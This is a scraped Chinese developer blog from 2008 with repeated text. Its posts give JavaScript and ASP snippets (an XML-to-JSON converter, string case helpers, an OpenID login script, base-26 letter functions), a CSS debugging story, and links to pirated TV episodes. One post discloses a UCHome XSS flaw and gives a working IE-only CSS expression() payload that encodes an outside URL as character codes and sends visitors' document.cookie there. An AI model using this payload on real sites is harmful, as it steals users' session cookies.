好像还有些xml不能转换,有兴趣的可以测试测试
我并不建议使用xml. json才是王道
http://www.x2y2.com/lab/xml2json.html
用法:
我并不建议使用xml. json才是王道
http://www.x2y2.com/lab/xml2json.html
用法:
FJSON.load(par); par 可以是json对象,可以是json字符串,也可以是xml字符串 返回json对象
FJSON.load以后可以直接用FJSON.json访问json对象
FJSON.getString(par);par可选,必须为json对象,留空则使用FJSON.json,建议load后使用FJSON.getString();
FJSON.toString(par); 同FJSON.getString
FJSON.getJson(par);par可选,必须为json字符串,留空则返回FJSON.json,建议load后使用FJSON.getJson()或FJSON.json;
FJSON.toJson(par); 同FJSON.getJson
示例
var xmlstr='<fisker name="fisker Cheung"><address>Shanghai,PRC</address><age>25</age><homepage>http://ifisker.com</homepage></fisker>';
var fisker = FJSON.load(xmlstr);
alert(fisker.fisker["@name"]);
FJSON.load以后可以直接用FJSON.json访问json对象
FJSON.getString(par);par可选,必须为json对象,留空则使用FJSON.json,建议load后使用FJSON.getString();
FJSON.toString(par); 同FJSON.getString
FJSON.getJson(par);par可选,必须为json字符串,留空则返回FJSON.json,建议load后使用FJSON.getJson()或FJSON.json;
FJSON.toJson(par); 同FJSON.getJson
示例
var xmlstr='<fisker name="fisker Cheung"><address>Shanghai,PRC</address><age>25</age><homepage>http://ifisker.com</homepage></fisker>';
var fisker = FJSON.load(xmlstr);
alert(fisker.fisker["@name"]);
/* FJSON
by fisker http://ifisker.com
lionkay@gmail.com
2008-9-28
FJSON.dom2Object is from http://www.thomasfrank.se/xml_to_json.html
*/
var FJSON = {};
FJSON.load = function(data){
this.init();
if(!data) return null;
if(typeof data == "object"){
this.json = data;
return this.json;
}
data = data.replace(/(^\s*)|(\s*$)/g, "");
if(data.substring(0,1)=="<"){//xml格式
var _dom = this.string2Dom(data);
if(!_dom)return null;
var _object = this.dom2Object(_dom);
if(!_object)return null;
var _o ={};
_o[_dom.nodeName] = _object;
var _jsonStr = this.getString(_o);
var _json = this.getJson(_jsonStr);
this.json = (this.havaRoot?_json:_json.root);
return this.json;
}else{
return this.getJson(data);
}
};
FJSON.init = function(){//初始化
this.json = null;
this.havaRoot = true;
}
FJSON.escape= function(txt){
return txt.replace(/[\\]/g, "\\\\")
.replace(/[\/]/g, "\\/")
.replace(/[\"]/g, '\\"')
.replace(/[\n]/g, '\\n')
.replace(/[\r]/g, '\\r');
};
FJSON.toJson = FJSON.getJson = function(str){
if(str!=undefined){
try{
this.json = eval('(' + str + ')');
}catch(e){}
};
return this.json;
};
FJSON.toString = FJSON.getString = function(object) {
var _jsonStr = "";
var i;
if(object==undefined) var object = this.json;
switch (typeof object) {
case "object":
// null or undefiend
if (!object){_jsonStr += "null";break;}
//array
if (object.join) { //数组
_jsonStr +="[";
for (j = 0; j < object.length; j++) {
if (j > 0) _jsonStr +=",";
_jsonStr +=(this.toString(object[j]));
}
_jsonStr +="]";
break;
}
//object with serialize function
if (typeof object.serialize == "function"){_jsonStr +=(object.serialize());break;}
//object
_jsonStr +="{";
var needComma = false;
for (var name in object) {
var value = object[name];
if (typeof value != "undefined" && typeof value != "function") {
if (needComma){_jsonStr +=",";}else{needComma = true;}
_jsonStr +=(this.toString(name));
_jsonStr +=":";
_jsonStr +=(this.toString(value));
}
}
_jsonStr +="}";
break;
//object ends
case "number":
_jsonStr +=(String(object));
break;
case "string":
_jsonStr +="\"";
_jsonStr +=this.escape(object);
_jsonStr +="\"";
break;
case "boolean":
_jsonStr +=(object.toString());
break;
default:
_jsonStr +="null";
break;
}
return _jsonStr;
}
FJSON.string2Dom = function(str){
if(str==undefined) return null;
str = str.replace(/<\?(.*?)\?>/g,"");
str = str.replace(/(^\s*)|(\s*$)/g, "");
if(str.length<1) return null;
var xmlDom = function(){
try{
var _o = new ActiveXObject("Microsoft.XMLDOM");
_o.loadXML(str);
return _o;
}catch(e){
try{
return (new DOMParser()).parseFromString(str,"text/xml");
}catch(e){return null;}
}
}();
if(xmlDom==null) return null;
if(xmlDom.nodeType == 9) xmlDom = xmlDom.documentElement;
if(xmlDom == null || xmlDom.tagName == "parsererror") {
this.havaRoot = false;
xmlDom = this.string2Dom("<root>"+str+"</root>");
}
return xmlDom;
};
FJSON.dom2Object= function(xml){
if(xml == undefined) return null;
var o = {};
if(xml.nodeType==9) xml = xml.documentElement;
if(xml.nodeType!=1) return null;
if(xml.attributes.length){
for (var j=0; j<xml.attributes.length; j++) o["@"+xml.attributes[j].nodeName] = (xml.attributes[j].nodeValue||"").toString();
}
if(!xml.firstChild) return o;
if(!xml.attributes.length && !xml.firstChild) return null;
for (var n=xml.firstChild; n; n=n.nextSibling) {
if(n.nodeType==4){
o["#cdata"] = n.nodeValue;
continue;
}
if (n.nodeType==3 && n.nodeValue.match(/[^ \f\n\r\t\v]/)){
o["#text"] = n.nodeValue;
continue;
}
if(!n.nodeName) continue;
if (o[n.nodeName]) { // multiple occurence of element ..
if (o[n.nodeName].join){
o[n.nodeName].push(this.dom2Object(n));
}else{
o[n.nodeName] = [o[n.nodeName], this.dom2Object(n)];
}
}else{
o[n.nodeName] = this.dom2Object(n);
}
}
return o;
};
by fisker http://ifisker.com
lionkay@gmail.com
2008-9-28
FJSON.dom2Object is from http://www.thomasfrank.se/xml_to_json.html
*/
var FJSON = {};
FJSON.load = function(data){
this.init();
if(!data) return null;
if(typeof data == "object"){
this.json = data;
return this.json;
}
data = data.replace(/(^\s*)|(\s*$)/g, "");
if(data.substring(0,1)=="<"){//xml格式
var _dom = this.string2Dom(data);
if(!_dom)return null;
var _object = this.dom2Object(_dom);
if(!_object)return null;
var _o ={};
_o[_dom.nodeName] = _object;
var _jsonStr = this.getString(_o);
var _json = this.getJson(_jsonStr);
this.json = (this.havaRoot?_json:_json.root);
return this.json;
}else{
return this.getJson(data);
}
};
FJSON.init = function(){//初始化
this.json = null;
this.havaRoot = true;
}
FJSON.escape= function(txt){
return txt.replace(/[\\]/g, "\\\\")
.replace(/[\/]/g, "\\/")
.replace(/[\"]/g, '\\"')
.replace(/[\n]/g, '\\n')
.replace(/[\r]/g, '\\r');
};
FJSON.toJson = FJSON.getJson = function(str){
if(str!=undefined){
try{
this.json = eval('(' + str + ')');
}catch(e){}
};
return this.json;
};
FJSON.toString = FJSON.getString = function(object) {
var _jsonStr = "";
var i;
if(object==undefined) var object = this.json;
switch (typeof object) {
case "object":
// null or undefiend
if (!object){_jsonStr += "null";break;}
//array
if (object.join) { //数组
_jsonStr +="[";
for (j = 0; j < object.length; j++) {
if (j > 0) _jsonStr +=",";
_jsonStr +=(this.toString(object[j]));
}
_jsonStr +="]";
break;
}
//object with serialize function
if (typeof object.serialize == "function"){_jsonStr +=(object.serialize());break;}
//object
_jsonStr +="{";
var needComma = false;
for (var name in object) {
var value = object[name];
if (typeof value != "undefined" && typeof value != "function") {
if (needComma){_jsonStr +=",";}else{needComma = true;}
_jsonStr +=(this.toString(name));
_jsonStr +=":";
_jsonStr +=(this.toString(value));
}
}
_jsonStr +="}";
break;
//object ends
case "number":
_jsonStr +=(String(object));
break;
case "string":
_jsonStr +="\"";
_jsonStr +=this.escape(object);
_jsonStr +="\"";
break;
case "boolean":
_jsonStr +=(object.toString());
break;
default:
_jsonStr +="null";
break;
}
return _jsonStr;
}
FJSON.string2Dom = function(str){
if(str==undefined) return null;
str = str.replace(/<\?(.*?)\?>/g,"");
str = str.replace(/(^\s*)|(\s*$)/g, "");
if(str.length<1) return null;
var xmlDom = function(){
try{
var _o = new ActiveXObject("Microsoft.XMLDOM");
_o.loadXML(str);
return _o;
}catch(e){
try{
return (new DOMParser()).parseFromString(str,"text/xml");
}catch(e){return null;}
}
}();
if(xmlDom==null) return null;
if(xmlDom.nodeType == 9) xmlDom = xmlDom.documentElement;
if(xmlDom == null || xmlDom.tagName == "parsererror") {
this.havaRoot = false;
xmlDom = this.string2Dom("<root>"+str+"</root>");
}
return xmlDom;
};
FJSON.dom2Object= function(xml){
if(xml == undefined) return null;
var o = {};
if(xml.nodeType==9) xml = xml.documentElement;
if(xml.nodeType!=1) return null;
if(xml.attributes.length){
for (var j=0; j<xml.attributes.length; j++) o["@"+xml.attributes[j].nodeName] = (xml.attributes[j].nodeValue||"").toString();
}
if(!xml.firstChild) return o;
if(!xml.attributes.length && !xml.firstChild) return null;
for (var n=xml.firstChild; n; n=n.nextSibling) {
if(n.nodeType==4){
o["#cdata"] = n.nodeValue;
continue;
}
if (n.nodeType==3 && n.nodeValue.match(/[^ \f\n\r\t\v]/)){
o["#text"] = n.nodeValue;
continue;
}
if(!n.nodeName) continue;
if (o[n.nodeName]) { // multiple occurence of element ..
if (o[n.nodeName].join){
o[n.nodeName].push(this.dom2Object(n));
}else{
o[n.nodeName] = [o[n.nodeName], this.dom2Object(n)];
}
}else{
o[n.nodeName] = this.dom2Object(n);
}
}
return o;
};
设置样式的时候会用到,因为IE只接受驼峰写法。
<script>
String.prototype.toCamel = function(){
var s = this;
return s.replace(/\-([a-z])([a-z]?)/ig,function(s,a,b){return a.toUpperCase()+b.toLowerCase();});
}
String.prototype.toHyphen = function(){
var s = this;
return s.replace(/([A-Z])([a-z]?)/g,function(s,a,b){return "-"+a.toLowerCase()+b.toLowerCase();});
}
alert("background-image".toCamel()); //return backgroundImage
alert("backgroundImage".toHyphen()); //return background-image
</script>
String.prototype.toCamel = function(){
var s = this;
return s.replace(/\-([a-z])([a-z]?)/ig,function(s,a,b){return a.toUpperCase()+b.toLowerCase();});
}
String.prototype.toHyphen = function(){
var s = this;
return s.replace(/([A-Z])([a-z]?)/g,function(s,a,b){return "-"+a.toLowerCase()+b.toLowerCase();});
}
alert("background-image".toCamel()); //return backgroundImage
alert("backgroundImage".toHyphen()); //return background-image
</script>
我给康盛发了个邮件,官方也没什么反应,反正我也不用UChome。那就公布下。
主页风格设置页 cp.php?ac=theme 背景图设置处过滤不严,导致可以窃取用户cookie。
漏洞利用代码:
仅ie有效。
这段的运行结果就是http://x2y2.com/?
因为过滤了双引号,单引号也被转义,所以我想到这个方法构造字符串
然后后面加上document.cookie,怎样就可以在http://x2y2.com/上面纪录cookies
演示可以看
http://u.discuz.net/home/600374
或者
http://in025.com/?26
主页风格设置页 cp.php?ac=theme 背景图设置处过滤不严,导致可以窃取用户cookie。
漏洞利用代码:
);a:expression(location.href=(function(){var a=[72,84,84,80,58,47,47,88,50,89,50,46,67,79,77,47,63];for(var Q=j=0;j!=17;j++){Q+=String.fromcharCode(a[j])}return Q}().substring(1,99)+document.cookie));.jpg
仅ie有效。
function(){var a=[72,84,84,80,58,47,47,88,50,89,50,46,67,79,77,47,63];for(var Q=j=0;j!=17;j++){Q+=String.fromcharCode(a[j]}return Q}().substring(1,99)
这段的运行结果就是http://x2y2.com/?
因为过滤了双引号,单引号也被转义,所以我想到这个方法构造字符串
然后后面加上document.cookie,怎样就可以在http://x2y2.com/上面纪录cookies
演示可以看
http://u.discuz.net/home/600374
或者
http://in025.com/?26
今天ftp上不去,回头把blog改下。
以前好像看到sipo说asp写openid有些不能解决的问题,我也没查openid的规范。
这个对付简单的登录还是没问题的,不过代码还没测试。
先放上来,有兴趣的可以看看
以前好像看到sipo说asp写openid有些不能解决的问题,我也没查openid的规范。
这个对付简单的登录还是没问题的,不过代码还没测试。
先放上来,有兴趣的可以看看
<script language="JScript" runat="server">
/*
ASP Openid
by fisker
2008-9-3
*/
var alert=print=write=function(str){Response.Write(str);}
var openid = new fiskerOpenid();
var input=getInput();
if(input["openid.mode"]=="id_res"){
var nickname = input["openid.sreg.nickname"];
var email = input["openid.sreg.email"];
var returnUrl=input["return"];
returnUrl += returnUrl.indexOf("?")!=-1?"&":"?";
returnUrl += "nickname="+nickname;
returnUrl += "&email="+email;
Response.Redirect(returnUrl);
}else{
if(input["openid"]==""||input["return"]==""){
Response.write("<sc"+"ript>");
Response.write("alert(\"error\");");
Response.write("window.history.forward(1);");
Response.write("</sc"+"ript>");
Response.end();
}
openid.url = input["openid"];
openid.get();
}
function getInput(){
var input=new Array();
var e=new Enumerator(Request.QueryString);
for (;!e.atEnd();e.moveNext()){
x=e.item();
input[String(x).toLowerCase()]=String(Request.QueryString(x));
}
e=new Enumerator(Request.Form);
for (;!e.atEnd();e.moveNext()){
x=e.item();
input[String(x).toLowerCase()]=String(Request.Form(x));
}
return input;
}
function fiskerOpenid(){
this.url="";
this.server="";
this.delegate="";
this.user = null;
this.trust_root="";
this.return_to="";
this.sreg_required="nickname,email";
this.get = function(info){
if(!this.init()){Response.write("error");return;}
if(info!=undefined)this.sreg_required=info;
var html=this.request(this.server,"openid.mode=associate&openid.assoc_type=HMAC-SHA1");
if (html==""){Response.write("error");return;}
var assoc_handle = "";
var assoc_type = "";
var expires_in = "";
var mac_key = "";
try{
var re=new RegExp("assoc_handle:(.+)","ig");
assoc_handle = re.exec(html)[1];
var re=new RegExp("assoc_type:(.+)","ig");
aassoc_type = re.exec(html)[1];
var re=new RegExp("expires_in:(.+)","ig");
expires_in = re.exec(html)[1];
var re=new RegExp("mac_key:(.+)","ig");
mac_key = re.exec(html)[1];
delete re;
}catch(e){}
var url = this.server;
url += url.indexOf("?")!=-1?"&":"?";
url += "openid.mode="+Server.URLEncode("checkid_setup");
url += "&openid.identity="+Server.URLEncode(this.delegate);
url += "&openid.trust_root="+Server.URLEncode(this.trust_root);
url += "&openid.return_to="+Server.URLEncode(this.return_to);
url += "&openid.assoc_handle="+Server.URLEncode(assoc_handle);
url += "&openid.sreg.required="+Server.URLEncode(this.sreg_required);
Response.Redirect(url);
}
this.init = function(){
if(!this.check()) return false;
if(this.trust_root==""||this.return_to==""){
var thisServer="";
var thisUrl="";
thisServer+=String(Request.serverVariables("https")).toLowerCase()=="off"?"http://":"https://";
thisServer+=String(Request.serverVariables("server_name"));
thisServer+=String(Request.serverVariables("server_port"))=="80"?"":":"+String(Request.ServerVariables("server_port"));
thisUrl+=thisServer;
thisUrl+=String(Request.serverVariables("URL"));
thisUrl+=String(Request.QueryString)==""?"":"?"+String(Request.QueryString);
this.trust_root=(this.trust_root==""?thisServer:this.trust_root);
this.return_to=(this.return_to==""?thisUrl:this.return_to);
}
var html = this.request(this.url);
if (html=="") return false;
html=html.replace(/\'/ig,"\"");
var re=new RegExp("<link(.*?)rel=\"(.*?)\"(.*?)href=\"(.*?)\"(.*?)>","ig");
var arr=[];
while ((arrMatch = re.exec(html)) != null){
var index=arrMatch[2].toLowerCase();
var value=arrMatch[4];
if(index.indexOf(" ")){
for(var j=0;j<index.split(" ").length;j++)arr[index.split(" ")[j]]=value;
}else{
arr[index]=value;
}
}
delete re;
if(arr["openid.server"]!=""){
this.server=arr["openid.server"];
}else{
return false;
}
this.delegate = arr["openid.delegate"]==undefined?this.url:arr["openid.delegate"];
return true;
}
this.check = function(){
if (this.url=="") return false;
if(this.url.indexOf("://")==-1) this.url="http://"+this.url;
return true;
}
this.request = function(url,data){
if (data == undefined)var data = null;
var method = data ? 'POST' : 'GET';
var html="";
try{
var xmlhttp=Server.CreateObject("MSXML2.ServerXMLHTTP.3.0");
xmlhttp.open(method,url,false);
xmlhttp.send(data);
html = this.bytesToStr(xmlhttp.responseBody);
delete xmlhttp;
}catch(e){}
return html;
}
this.bytesToStr = function(CodeBody){
var objStream= Server.CreateObject("ado"+"db.stream") ;
objStream.Type = 1 ;
objStream.Mode =3 ;
objStream.Open() ;
objStream.Write(CodeBody);
objStream.Position = 0 ;
objStream.Type = 2 ;
objStream.charset = "utf-8" ;
var returnstr = objStream.ReadText;
objStream.Close();
delete objStream;
return returnstr;
}
}
</script>
/*
ASP Openid
by fisker
2008-9-3
*/
var alert=print=write=function(str){Response.Write(str);}
var openid = new fiskerOpenid();
var input=getInput();
if(input["openid.mode"]=="id_res"){
var nickname = input["openid.sreg.nickname"];
var email = input["openid.sreg.email"];
var returnUrl=input["return"];
returnUrl += returnUrl.indexOf("?")!=-1?"&":"?";
returnUrl += "nickname="+nickname;
returnUrl += "&email="+email;
Response.Redirect(returnUrl);
}else{
if(input["openid"]==""||input["return"]==""){
Response.write("<sc"+"ript>");
Response.write("alert(\"error\");");
Response.write("window.history.forward(1);");
Response.write("</sc"+"ript>");
Response.end();
}
openid.url = input["openid"];
openid.get();
}
function getInput(){
var input=new Array();
var e=new Enumerator(Request.QueryString);
for (;!e.atEnd();e.moveNext()){
x=e.item();
input[String(x).toLowerCase()]=String(Request.QueryString(x));
}
e=new Enumerator(Request.Form);
for (;!e.atEnd();e.moveNext()){
x=e.item();
input[String(x).toLowerCase()]=String(Request.Form(x));
}
return input;
}
function fiskerOpenid(){
this.url="";
this.server="";
this.delegate="";
this.user = null;
this.trust_root="";
this.return_to="";
this.sreg_required="nickname,email";
this.get = function(info){
if(!this.init()){Response.write("error");return;}
if(info!=undefined)this.sreg_required=info;
var html=this.request(this.server,"openid.mode=associate&openid.assoc_type=HMAC-SHA1");
if (html==""){Response.write("error");return;}
var assoc_handle = "";
var assoc_type = "";
var expires_in = "";
var mac_key = "";
try{
var re=new RegExp("assoc_handle:(.+)","ig");
assoc_handle = re.exec(html)[1];
var re=new RegExp("assoc_type:(.+)","ig");
aassoc_type = re.exec(html)[1];
var re=new RegExp("expires_in:(.+)","ig");
expires_in = re.exec(html)[1];
var re=new RegExp("mac_key:(.+)","ig");
mac_key = re.exec(html)[1];
delete re;
}catch(e){}
var url = this.server;
url += url.indexOf("?")!=-1?"&":"?";
url += "openid.mode="+Server.URLEncode("checkid_setup");
url += "&openid.identity="+Server.URLEncode(this.delegate);
url += "&openid.trust_root="+Server.URLEncode(this.trust_root);
url += "&openid.return_to="+Server.URLEncode(this.return_to);
url += "&openid.assoc_handle="+Server.URLEncode(assoc_handle);
url += "&openid.sreg.required="+Server.URLEncode(this.sreg_required);
Response.Redirect(url);
}
this.init = function(){
if(!this.check()) return false;
if(this.trust_root==""||this.return_to==""){
var thisServer="";
var thisUrl="";
thisServer+=String(Request.serverVariables("https")).toLowerCase()=="off"?"http://":"https://";
thisServer+=String(Request.serverVariables("server_name"));
thisServer+=String(Request.serverVariables("server_port"))=="80"?"":":"+String(Request.ServerVariables("server_port"));
thisUrl+=thisServer;
thisUrl+=String(Request.serverVariables("URL"));
thisUrl+=String(Request.QueryString)==""?"":"?"+String(Request.QueryString);
this.trust_root=(this.trust_root==""?thisServer:this.trust_root);
this.return_to=(this.return_to==""?thisUrl:this.return_to);
}
var html = this.request(this.url);
if (html=="") return false;
html=html.replace(/\'/ig,"\"");
var re=new RegExp("<link(.*?)rel=\"(.*?)\"(.*?)href=\"(.*?)\"(.*?)>","ig");
var arr=[];
while ((arrMatch = re.exec(html)) != null){
var index=arrMatch[2].toLowerCase();
var value=arrMatch[4];
if(index.indexOf(" ")){
for(var j=0;j<index.split(" ").length;j++)arr[index.split(" ")[j]]=value;
}else{
arr[index]=value;
}
}
delete re;
if(arr["openid.server"]!=""){
this.server=arr["openid.server"];
}else{
return false;
}
this.delegate = arr["openid.delegate"]==undefined?this.url:arr["openid.delegate"];
return true;
}
this.check = function(){
if (this.url=="") return false;
if(this.url.indexOf("://")==-1) this.url="http://"+this.url;
return true;
}
this.request = function(url,data){
if (data == undefined)var data = null;
var method = data ? 'POST' : 'GET';
var html="";
try{
var xmlhttp=Server.CreateObject("MSXML2.ServerXMLHTTP.3.0");
xmlhttp.open(method,url,false);
xmlhttp.send(data);
html = this.bytesToStr(xmlhttp.responseBody);
delete xmlhttp;
}catch(e){}
return html;
}
this.bytesToStr = function(CodeBody){
var objStream= Server.CreateObject("ado"+"db.stream") ;
objStream.Type = 1 ;
objStream.Mode =3 ;
objStream.Open() ;
objStream.Write(CodeBody);
objStream.Position = 0 ;
objStream.Type = 2 ;
objStream.charset = "utf-8" ;
var returnstr = objStream.ReadText;
objStream.Close();
delete objStream;
return returnstr;
}
}
</script>
刚看了好一会没找到原因。我的 http://www.x2y2.com/movie/,打开以后全都堆在一起
我把页面保存到本地又没问题,回头有空再把css一块块注释掉看看。
另外,Inspector竟然不认识thead,如果你用<thead>嵌套<td>,就会显示错误。
还有就是关闭最后一个tab为什么不打开一个about:blank,直接关掉浏览器很不爽
最后终于找出来了
我css里面写错了一行
就因为少了个),难道;的优先级还没有()高?
我晕啊
浏览器信息:
window.navigator.appName:Netscape
window.navigator.appVersionn:5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) chrome/0.2.149.27 Safari/525.13
window.navigator.userAgent:Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) chrome/0.2.149.27 Safari/525.13
判断chrome
我把页面保存到本地又没问题,回头有空再把css一块块注释掉看看。
另外,Inspector竟然不认识thead,如果你用<thead>嵌套<td>,就会显示错误。
还有就是关闭最后一个tab为什么不打开一个about:blank,直接关掉浏览器很不爽
最后终于找出来了
我css里面写错了一行
background:url( clear:both;
就因为少了个),难道;的优先级还没有()高?
我晕啊
浏览器信息:
window.navigator.appName:Netscape
window.navigator.appVersionn:5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) chrome/0.2.149.27 Safari/525.13
window.navigator.userAgent:Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) chrome/0.2.149.27 Safari/525.13
判断chrome
var ischrame = window.navigator.userAgent.toLowerCase().indexOf("chrome")!=-1;
alert(ischrame);
alert(ischrame);
越狱 第四季 第1集
http://www.x2y2.com/movie/id/n/13297/
第1集avi高清版:
http://dvd.uubird.com/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第1集-Prison.Break.S04E01.HDTV.XviD-LOL.avi
第1集无字幕版:
http://rmvb.uubird.com:87/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第1集-Prison-Break-S04E01.rmvb
第1集中英双字幕版:
http://rmvb.uubird.com/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第1集-Prison-Break-S04E01cn.rmvb
越狱 第四季 第2集
http://www.x2y2.com/movie/id/n/13298/
第2集avi高清版:
http://dvd.uubird.com/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第2集-Prison.Break.S04E02.HDTV.XviD-LOL.avi
第2集无字幕版:
http://rmvb.uubird.com:87/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第2集-Prison-Break-S04E02.rmvb
第2集中英双字幕版:
http://rmvb.uubird.com:89/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第2集-Prison-Break-S04E02cn.rmvb
最新电影 傲游插件
http://addons.maxthon.com/zh_CN/post/2196
http://www.x2y2.com/movie/id/n/13297/
第1集avi高清版:
http://dvd.uubird.com/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第1集-Prison.Break.S04E01.HDTV.XviD-LOL.avi
第1集无字幕版:
http://rmvb.uubird.com:87/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第1集-Prison-Break-S04E01.rmvb
第1集中英双字幕版:
http://rmvb.uubird.com/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第1集-Prison-Break-S04E01cn.rmvb
越狱 第四季 第2集
http://www.x2y2.com/movie/id/n/13298/
第2集avi高清版:
http://dvd.uubird.com/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第2集-Prison.Break.S04E02.HDTV.XviD-LOL.avi
第2集无字幕版:
http://rmvb.uubird.com:87/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第2集-Prison-Break-S04E02.rmvb
第2集中英双字幕版:
http://rmvb.uubird.com:89/data/www.uubird.com悠悠鸟影视论坛/www.uubird.com-悠悠鸟影视论坛-越狱-第四季第2集-Prison-Break-S04E02cn.rmvb
最新电影 傲游插件
http://addons.maxthon.com/zh_CN/post/2196
function zimu(n){
if (n<0)return "";
var aZ=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"];
var str="";
var last=n%26;
str=aZ[last]+str;
n=n-last;
if(n>0){str=zimu(n/26-1)+str;}
return str;
}
if (n<0)return "";
var aZ=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"];
var str="";
var last=n%26;
str=aZ[last]+str;
n=n-last;
if(n>0){str=zimu(n/26-1)+str;}
return str;
}
如果需要处理负数,其实应该用不到
function zimu(n){
var fushu = n<0?true:false;
if (n<0)n=-n;
var aZ=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"];
var str="";
var last=n%26;
str=aZ[last]+str;
n=n-last;
if(n>0){str=zimu(n/26-1)+str;}
return (fushu?"-":"")+str;
}
var fushu = n<0?true:false;
if (n<0)n=-n;
var aZ=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"];
var str="";
var last=n%26;
str=aZ[last]+str;
n=n-last;
if(n>0){str=zimu(n/26-1)+str;}
return (fushu?"-":"")+str;
}
如果不需要0,a=1,b=2
function zimu(n){
if (n<=0)return "";
var aZ=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"];
var str="";
n=n-1;
var last=n%26;
str=aZ[last]+str;
n=n-last;
if(n>0){str=zimu(n/26)+str;}
return str;
}
if (n<=0)return "";
var aZ=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"];
var str="";
n=n-1;
var last=n%26;
str=aZ[last]+str;
n=n-last;
if(n>0){str=zimu(n/26)+str;}
return str;
}
用0-9,a-p表示26进制,这个就简单了
"2008".toString(26)




![Validate my RSS feed [Valid RSS]](http://www.x2y2.com/fisker/styles/default/images/valid-rss.png)



